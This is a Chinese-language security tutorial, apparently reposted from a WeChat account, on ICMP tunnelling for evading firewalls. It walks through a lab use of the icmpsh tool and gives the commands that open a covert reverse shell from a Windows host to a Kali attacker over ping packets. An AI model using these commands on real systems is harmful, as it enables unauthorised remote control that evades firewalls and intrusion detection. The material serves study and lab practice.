一、ICMP协议
ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
主要概念有:
1.确认ip数据包是否成功到达目的地
2.通知源主机发送ip数据包丢失的原因
3.ICMP是基于IP协议工作的
4.ICMP只能作用于IPV4,IPV6下,使用ICMPv6
ICMP帧格式如下所示
其中,类型和代码字段决定了ICMP报文的类型,如下图所示
在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。
二、ICMP隧道技术原理
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。
进行隐蔽传输的时候,肉机运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端。
简单地说就是,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦。
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
利用ICMP协议反弹Shell
icmpsh
icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。
icmpsh下载地址:
https://github.com/inquisb/icmpsh
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问
安装Python-impacket库:
apt-get install python-impacket
安装库如果出现这种情况:
那么更新一下APT库就好了:
apt-get update
apt-get upgrade
目前还是显示安装库失败(尝试pip安装)
pip install impacket
显示已经安装好了库
因为icmpsh 工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0 ) ,否则shell的运行会不稳定
实验完成之后开启系统ping 的话将最后的1改为0即可
直接运行run.sh 发现还是需要先安装Impacket这个库
分析原因发现上面的Impacket 库是python3 环境下的库
目前的环境是python2 的环境
所以需要install pip2 ,首先下载pip的脚本
然后执行安装pip2的脚本,安装pip2,并且已经成功安装
通过pip2 安装impacket库
服务端再次执行icmpsh的run.sh脚本,填上客户端的地址
执行后发现报错,不知道为啥
于是我使用了icmpsh的Python脚本运行:
python icmpsh_m.py 192.168.230.128【kali】 192.168.230.135【win7】
然后在Win7上执行命令:
icmpsh.exe -t 192.168.230.128
这个时候就成功反弹shell到kali:
通过wireshark 看到,两个IP之间的通信全是icmp的协议报文
ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性
icmpsh.exe -t x.x.x.x -d 500 -b 30 -s 128
参数解读
-t host 要发送ping请求的主机IP地址。这个选项是强制性的!
-d milliseconds 请求间的延迟,单位为毫秒
-b num 空白限制(退出前未回答的icmp请求)
-s bytes 以字节为单位的最大数据缓冲区大小
为了提高速度,降低请求之间的延迟(-d) 或 增加数据缓冲区的大小(-s)。
原文始发于微信公众号(闪焰安全服务团队):利用ICMP协议反弹shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论